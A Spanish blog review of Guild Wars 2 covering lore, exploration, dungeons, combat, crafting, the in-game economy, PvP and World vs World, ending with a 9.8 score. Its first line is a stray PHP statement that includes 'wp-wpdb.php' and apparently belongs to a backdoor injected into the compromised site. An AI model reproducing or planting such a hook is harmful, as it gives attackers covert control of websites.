if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Guild Wars 2, ¡Tienes que probarlo! Análisis – La Fortaleza de LeChuck

Guild Wars 2, ¡Tienes que probarlo! Análisis

Han pasado ya unas semanas desde el lanzamiento del esperado Guild Wars 2, y si leéis regularmente La Fortaleza de LeChuck sabéis que lo llevamos exprimiendo desde la primera beta. Nos hemos volcado con el juego y a pesar de las horas que le hemos echado, probando personajes, razas, habilidades, cartografiando y encontrando numerosos secretos repartidos por todo el mapeado no paramos de encontrarnos con cosas nuevas cada día. Cinco años ha tardado ArenaNet en desarrollar la secuela del aclamado Guild Wars original y desde luego la espera ha merecido la pena. Probablemente nos encontremos ante uno de esos pocos juegos que valen hasta el último céntimo de su precio, por la cantidad de cosas por hacer, por un PvE revolucionario, por un PvP espectacular, variado y divertido y por ofrecer un mundo dinámico (esta es la palabra), vivo y en constante peligro. Y todo ello sin pagar mensualmente. Los Dragones Ancianos han despertado, ¿les vas a permitir erradicar la vida en Tyria? ¡Únete a la Guerra!

Antes que nada, este artículo complementa el indicado en el enlace de la entradilla, dónde se habla de las opiniones básicas de un primer contacto y que desarrolla aspectos que aquí se obvian para no alargar más un de por sí extenso tocho (¡avisados estáis!). Si os interesa el juego os recomiendo que os deis una vuelta por ese link y luego retoméis a continuación.
Los siguientes párrafos narran muy resumidamente la historia de Guild Wars para situarnos en el punto de partida. A pesar de ser un MMORPG, el trasfondo de Guild Wars contiene un universo complejo, con una mitología cuidada al detalle como corresponde a un mundo de Dioses e intrigas, cercano en ocasiones a un verdadero culebrón, con muchas historias e hitos personales que marcaron el pasado de Tyria. Muy interesantes si, además de «solo» jugar a lo que nos echen (que es una opción válida, aunque nos perderemos mucha chicha) queremos indagar en manuscritos que encontremos, wikis o el libro que se lanzó durante la expansión Eye of the North: «Fantasmas de Ascalon». Recomendable para fans que gusten de saber detalles de los entresijos entre la primera y segunda parte (libro al que además se hacen muchos guiños a personajes y eventos en el juego). 
Hace 250 años, en los últimos acontecimientos que se narran en Eye of the North, que fue la última expansión de Guild Wars, conseguimos detener el despertar del dragón primigenio que mora latente en las profundidades de las Montañas Picoescalofriantes en Tyria, derrotando a su heraldo y lugarteniente El Gran Destructor (no tenía un nombre muy original que digamos). Por desgracia nuestra heroicidad sólo sirvió para retrasar lo inevitable y finalmente los dragones han despertado de su letargo, alzándose para sembrar el caos y corrompiendo todo aquello que se encuentra cerca de su influencia. Tyria se recuperaba de las guerras de clanes que la asolaban, de los intentos del dios oscuro Abaddon de defenestrarla y de una invasión de destructores enviados para preparar la llegada de Primordus, ese dragón latente y sin embargo sólo el primero de los Dragones con los que nos familiarizaremos (en gran parte gracias a nuestros inestimables esfuerzos).

A pesar del tamaño este no es uno de los dragones legendarios, sólo un lugarteniente.

 Dos generaciones después existía una incipiente paz, rota por dicho despertar de los dragones: Zhaitan, dragón liche señor de los resurgidos que será el principal antagonista en este principio de historia que nos espera, emerge del Mar de los Pesares y con él el continente sumergido de Orr, antiguo enclave principal del reino de los humanos y ex-morada de los seis Dioses antes que abandonaran esta Tierra. El continente de Orr se hundió en el mar producto de una magia prohibida que utilizó el Visir del rey para evitar que los Charrs -una raza peluda en conflicto perpetuo con los humanos desde que éstos invadieran Ascalon, su tierra natal- entraran y arrasaran Arah, la capital, en un último recurso desesperado que acabó en completo desastre. Al resugir Orr se crea una gran ola que inunda y destruye ciudades míticas de Guild Wars 1, como Arco de León y la Forja de Droknar, cambiando ligeramente la fisonomía del continente que conocíamos en Guild Wars Prophecies (la primera campaña). Cantha, el continente de la campaña Factions, ha quedado incomunicado por culpa del ascenso de Zhaitan y además sus embajadores han cortado relaciones misteriosamente. Y de Elona, el tercer continente que hasta ahora conocíamos, las pocas noticias que llegan no son nada halagüeñas y hablan de rumores sobre el regreso de Palawa Joko

Así que si pensabais que en el Guild Wars original vivíamos tiempos convulsos, preparaos para la que se nos viene encima porque va a ser gigantesco… Por ejemplo, Kralkatorrik, uno de los dragones resurgidos que al alzarse se ha dirigido volando hacia el sur, al Desierto de Cristal, en el uno ya se le podía ver. Era una coordillera con escamas que cruzaba todo un mapa de arriba a abajo. Y por donde vuela crea una cicatriz que pudre todo lo que hay bajo él, con lo que con un único vuelo ha dejado el mapa de Tyria marcado para siempre.
De todas maneras lo más importante en un MMO no es la historia, ni son los gráficos, ni las cinemáticas… Es la jugabilidad y la variedad de situaciones, ya que por ello es por lo que vamos (o no) a dedicarle horas y horas a este tipo de juego, y por suerte es uno de los aspectos en los que sale mejor parado Guild Wars. Tenemos un mundo repleto de razas, ciudades, puestos de avanzada y culturas por conocer, nosotros decidiremos que hacer en todo momento.

La variedad de zonas va a ser espectácular, ésta es la arboleda de los Sylvaris.

 Podemos seguir la historia de nuestro personaje, que cambia radicalmente dependiendo de la raza que nos hagamos (e incluso en ese caso tendremos varios trasfondos a elegir, como ya comenté en el pre-análisis un poco ‘a lo Mass Effect‘, del que coge alguna idea más, lo que da lugar a un sinfín de ramificaciones que hacen la historia de cada personaje muy personal). Estas misiones son individuales y se adaptan a nuestra historia, pero podemos ir con más gente que nos quiera acompañar, lo cual las hace más amenas y sobretodo más llevaderas las de nivel alto. En este respecto diría que les falta un poco de epicidad, ya que hasta una misión muy concreta en la que la cosa comienza a ponerse seria hasta entonces nos habremos dedicado a realizar misiones muy sencillas, casi como eventos del juego. Eso sí, a partir de entonces las misiones principales mejoran mucho y algunas derivan en auténticas batallas campales, pero esa misión tan concreta la realizaremos ligeramente avanzado ya el ecuador de la historia.

Si no queremos avanzar la historia, o simplemente nos gusta perdernos por ahí investigando parajes, podemos aparcarla en cualquier momento para limpiar mapas como buenos cartógrafos. A diferencia de otros MMORPG que no favorecen mucho la exploración, Guild Wars 2 premia al aventurero que se sale de los caminos obvios y exprime los mapeados. En cada mapa tenemos marcados los famosos Waypoints, ahora traducidos como «Puntos de ruta«. Nos servirán para viajar de uno a otro, pagando dependiendo de la distancia a la que se encuentre el punto de destino y además nos servirán para abrir una porción de mapa que desvelará donde están los «puntos de interés» y, una novedad con respecto a la beta, las «Vistas«. Las Vistas son lugares representados en el mapa por un icono de dos montañitas, que generalmente se encuentran en posiciones elevadas en ubicaciones llamativas. Llegar a ellos pondrá a prueba muchas veces nuestra habilidad de saltar y hacer acrobacias, pero a cambio disfrutaremos de un espectacular travelling circular de la zona al más puro estilo Assassin’s Creed. 
Lo que sí se mantiene es el sistema de «Puntos de Habilidad«, que desbloquearemos realizando una gesta en el mapa como absorber poder de un sitio o vencer un gran enemigo y de «Corazones» o eventos dinámicos, que nos ofrecen aliados y aldeanos que nos encontremos y que se pueden resolver de maneras variadas, eliminando el ejemplo clásico de los juegos de rol de «mata 15 ratas en el sótano y luego vuelve a verme». Estos eventos son bastante variados para el género (desde defender un puesto de avanzada a derrotar algún jefe de la zona) y a veces se crea una cadena de eventos al ir acabándolos, que incluso puede cambiar dependiendo de si tenemos éxito o fracasamos. Y lo mejor de todo es que se elimina la torpeza de otros juegos de ir a cobrar la recompensa al npc que te la había encomendado, cobrándola directamente una vez cumplida. Un gran acierto. Además, funcionan de tal manera que nos hace pensar que nos movemos en un lugar en el que cada dos por tres pasa algo, y por tanto que está «vivo» realmente. Descubrir la totalidad de estos cinco elementos en cada mapa (Corazones, Vistas, Puntos de habilidad, interés y de ruta) nos recompensará con un cofre con objetos extraordinarios para el nivel que tengamos, una gran cantidad de experiencia y sobre todo un buen puñado de monedas.

Habrá metaeventos que implicarán pelearnos con grandes jefes y la ayuda de toda la gente que pueda venir.

 Por si fuera poco, tenemos a nuestra disposición 8 mazmorras (de momento) que iremos desbloqueando según vayamos subiendo de nivel, y que además ofrecen una visión alternativa de la historia. Estas mazmorras no son nada sencillas y además cuentan con varios caminos explorables una vez que la hagamos por primera vez, que van a suponer todo un desafío y de los buenos. A estas mazmorras se recomienda ir en grupos de 5, que es el máximo permitido por grupo y éste precisamente es uno de los enormes fallos del juego, que en todo momento estemos limitados a llevar un grupo de 5 personas como máximo… Cosa que se antoja limitada y no se entiende sabiendo que en Guild Wars 1 teníamos grupos de 8 y hasta de 12 dependiendo de la instancia. Sí, si somos ricos podemos gastarnos 10 de oro en crear un comandante de escuadrón, que podrá ir en PvE y WvW junto con hasta 30 personas (además se podrá añadir quien quiera y no sirve para mazmorras), pero ni tanto, ni tan calvo… Realmente no entiendo qué problema había en crear grupos un poco más amplios para poder ir más gente a la vez repartiendo justicia.

En cuanto a la creación de personaje las 4 razas y 8 profesiones dan bastante juego, aunque no hay clases propiamente dichas de curación, tanque o daño. Cada héroe que creemos se puede mover entre cualquiera de esos tipos gracias al sistema de habilidades que dependerán de las armas y con el que deberemos ir experimentando, teniendo en cuenta que incluso hay armas que cambian sus habilidades dependiendo de en que mano las llevemos equipadas. Además de las 5 habilidades que pertenecerán a las armas podremos ir desbloqueando otras 5 que dependerán de nuestra raza y profesión, hasta llegar al nivel 30, dónde desbloquearemos la posibilidad de elegir habilidades de élite. En ese aspecto Guild Wars es tremendamente versátil y ofrece muchas posibilidades. Quizás en el aspecto de creación del héroe lo que sí se echa en falta es un editor más completo de personajes. Mejora la oferta paupérrima del primer Guild Wars, pero aún se hace fácil ver dos caras iguales en el juego.

Después de un rato modelando misión cumplida: Mi Norn se parece a Liam Neeson.

 Otro aspecto de Guild Wars 2 que parece un poco escaso es el añadido sistema de combos en combate. Empiezo con algo negativo hablando del combate pero es lo único que me oiréis decir al respecto, porque es francamente divertido. Se ha eliminado con respecto a Guild Wars conceptos como el bodyblocking (tanque bloqueando enemigos en una esquina o sitio estrecho para que desde atrás otros revienten el grupo de enemigos), y desde luego ahora el moverse en combate se ha convertido en algo vital, de tal manera que no estarse quieto, saber cuando saltar o rodar se convierte en algo clave, sobretodo contra enemigos gigantes. Hay mucha interacción entre aliados y ya hablé del famoso sistema de resurrección y curación cuando uno queda en el suelo en «segunda oportunidad», cosa que le añade dramatismo a la acción. Y el sistema de combos permite que dos habilidades diferentes creen un efecto adicional en la refriega. Ejemplo: Un elementalista crea una barrera de fuego ante un grupo de enemigos mientras un guardabosques dispara a través de él, creando un combo que permite que esas flechas cuando impacten además infligirán quemadura en el enemigo. Realmente no es algo malo, por supuesto, pero lo veo algo pobre (quizás por desconocimiento aún) y la sensación que me transmite es que esos combos muchas veces se crean por mero azar. Por lo menos en PvE, en PvP estructurado (jugador vs jugador) tiene toda la pinta de ser absolutamente determinante si sabes preparar el grupo para ello.

En la obsesión de Guild Wars 2 por cubrir casi todos los aspectos que se conozcan en este tipo de juegos también podemos echar tiempo y muchos recursos en aprender y ser maestros de alguna o todas las artesanías que nos ofrecen. Podemos aprender dos de ellas a la vez e incluso ir cambiando de especialidad, sin perder por ello nivel en la que dejamos aparcada. Para ellas necesitaremos materiales (y mucho dinero) que iremos comprando en mercaderes normales, de karma (recompensa que nos dan por realizar misiones) o en el bazar. Además es muy recomendable equiparse herramientas de recolección, porque habrá arbolitos, plantas y minerales que podremos extraer para usar como material de artesanía. La recompensa por llegar a altos niveles de maestría se traducirá en poder crear armaduras y armas únicas, accesorios, platos de cocina que nos darán extras muy jugosos, bolsas de viaje especiales, etc.

Experto en cocina marítima…

 Ya que hablamos del bazar tendremos un sistema económico propio complejo y que ha tardado un poco en arrancar, pero que será una muestra más de que estamos ante un mundo vivo de verdad. En el bazar podremos comprar y vender de todo e incluso podemos conseguir gemas a cambio de dinero de verdad, que podremos luego utilizar como moneda del juego. Hay que tener en cuenta como hemos repetido ya que Guild Wars no tiene un sistema mensual de cuotas que lo mantenga, y su apuesta es sobrevivir y ganar beneficios a cambio del sistema de micropagos. De momento estos se centran en packs y accesorios de «estilo», para vestir, espacio en el inventario o más huecos de personajes y además estas gemas se pueden cambiar por dinero del juego igualmente, sólo hay que echarle tiempo y paciencia, por lo que gastarse dinero real para estos extras ni siquiera es necesario, a no ser que seamos impacientes o queramos apoyar al juego.

 Como el propio nombre del juego indica estamos en guerra, y no sólo contra los dragones. El PvP sigue tan rico y variado como lo habíamos dejado en la beta, y ahora incluso empezamos a enterarnos de lo que pasa (lo cual es un logro). El punto diferencial de Guild Wars 1 frente a otros juegos de rol masivos era poseer un PvP sobresaliente, punto que ha trasladado a su segunda parte, siendo posiblemente lo que más horas de juego pueda darnos a la larga. En cualquiera de sus modalidades tendremos a disposición de nuestro PJ el máximo de nivel (80) y el acceso a toda habilidad y rasgo que queramos emplear. El equipamiento y el empleo de las habilidades serán importantísimos en estas batallas que nos van a enganchar por lo frenéticas y caóticas que son por momentos. Asediar ciudades, conquistar emplazamientos, arrasar algún convoy humanitario, desgastar grupos enemigos… No nos aburriremos.

En esa vertiente PvP destaca los Mundos contra Mundos (MvM o WvW), el evento de PvP masivo con el que cuenta el juego. Consiste en un evento que ocupa el mapa por completo de Tyria, disputado en una especie de partida de Risk gigante por tres servidores a la vez y con cientos de jugadores simultáneos combatiendo. Es algo espectacular y a la vez estratégico, ya que raramente gana aquel ejército que se base en la fuerza bruta, sino el que mejor desplace sus tropas o se haga con los puntos clave. Añadidle al caos catapultas, máquinas de asedio… Muy divertido, y se nota por las colas de espera que se forman de jugadores que quieren participar en el conflicto mundial.
En el apartado artístico sí quiero repetirme, y es que pocas veces habremos visto un mundo creado tan bonito, variado e imaginativo. Da la sensación que en ArenaNet haya varios equipos de desarrollo y hayan competido para ver quien creaba la porción de mapa más espectacular y en las Vistas se refleja especialmente. Desde las cinemáticas con ese estilo «dibujado» a los diseños de escenarios y personajes hay un grandísimo trabajo detrás y no es exagerado calificar el conjunto de obra de arte. En ningún momento nos dará la impresión de estar solos en las ciudades, ya que aparte de los jugadores las pueblan un montón de npcs, algunos con su historia propia que contarnos. Arco de León, como ciudad que integra a todas las razas es espectacular, aunque cada urbe principal perteneciente a cada una de las razas es diferente y se adapta a lo que sería la forma de vida de sus respectivos habitantes. En ese apartado gráfico tampoco quisiera olvidar los preciosos entornos submarinos, otro gran logro para la exploración y el combate. Combatir bajo el agua puede ser un infierno dependiendo de la zona, pero es un gran añadido.  

El combate submarino en todo su esplendoroso caos

Técnicamente no es espectacular y aunque los gráficos cumplen y son realistas es el punto menos brillante del título. En cambio está muy bien optimizado, así que no necesitaremos un PC de la Nasa para moverlo. Acabando con el tema audiovisual remarcar una vez más la presencia de Jeremy Soule, el compositor creador de mundos. Escuchar la banda sonora de este juego es algo que realizo incluso fuera de él, y lo único achacable es el largo espacio que hay a veces entre canción y canción. Eso sí, recuperar el tema clásico de la saga para la pantalla de login ha sido un acierto, para convertirlo definitivamente en el himno de la misma. El doblaje (en inglés, con los textos en castellano) es simplemente soberbio, a pesar de la gran cantidad de personajes, variaciones de la historia y razas que hay. Norns, Asuras y Charrs suenan como deben hacerlo y en general el trabajo de doblaje es esplendido.

De lo que no se ha librado Guild Wars 2, como muchos otros MMORPGS, es de sufrir en su estreno problemas de servidores y bugs por doquier. Los primeros días los problemas de conexión y de lag han sido muy sangrantes, hasta el punto de reventar la jugabilidad o la paciencia de más de uno. Con los días como era previsible la cuestión se ha ido limando, a pesar de que unas semanas después de su lanzamiento aún hay problemas serios en este aspecto, y desde luego no será por la cantidad de pruebas y betas que se realizaron antes de la fecha de salida. De todas maneras también influye el hecho que el juego en su salida ha cubierto y superado todas las expectativas de ventas hasta convertirse oficialmente en el MMORPG más jugado los primeros días de su lanzamiento.

 En definitiva Guild Wars 2 es un juego que ofrece horas y horas de rol del bueno, un PvE completísimo y que premia al explorador, un PvP serio con muchas variantes y que incluye una batalla frenética a nivel mundial y miles de chorraditas, referencias (Final Fantasy VII, Los Goonies o Mass Effect son algunas de las más claras que he visto ya por parte de estos «frikazos») y minijuegos en los que perdernos durante horas (Polymock -una especie de pokemon descafeinado-, lucha de barricas…). ¡Y todo ello por la increíble cantidad mensual de… CERO EUROS
Como decía al principio, de pocos juegos se puede decir que valen hasta el último céntimo de lo que cuestan y este sin duda es uno de ellos. Hay gente que se queja del poco contenido que hay una vez que nos pasamos el juego, pero conociendo a ArenaNet irán añadiendo novedades con el paso de los meses, por el mismo precio. Y en el caso rarísimamente hipotético que nos acabemos el PvE tenemos un PvP eterno. Si te gusta el rol, o mejor si te gusta jugar con gente a rol, este juego tiene que estar en tu estantería. Además no juegues solo: únete a un clan, no en vano este juego se llama «Guild Wars» (Guerra de Clanes). Cuanta más gente luchando y derrotando al mismo enemigo, más reiremos. 
Lo mejor:
– PvE inmensamente variado. Explorar da muchas sorpresas y el juego te invita a hacerlo. Los eventos dinámicos marcarán la pauta del futuro del género.
– PvP inacabable. Faltan modos de juego, pero los que hay nos darán horas y horas de vicio. Los Mundos vs Mundos también marcarán el camino a copiar por los siguientes juegos que vendrán.
– Sistema de combate divertido, sobretodo tratándose de un MMORPG.
– Apartado artístico de libro. Este juego es puro arte para los sentidos y además tiene un trasfondo y una mitología muy cuidados.
Lo peor:
– A pesar de los días que han pasado desde su salida sigue habiendo misiones bugeadas, servidores que no aguantan…
– ¿En serio mi Party ha de ser de máximo cinco miembros? En el uno lo normal era de ocho.
– El PvE de alto nivel es algo insuficiente para algunos jugadores, consecuencias de un juego muy enfocado al PvP.
– No es el MMO definitivo que se nos prometió… pero se le acerca.
Nota: 9’8
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Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

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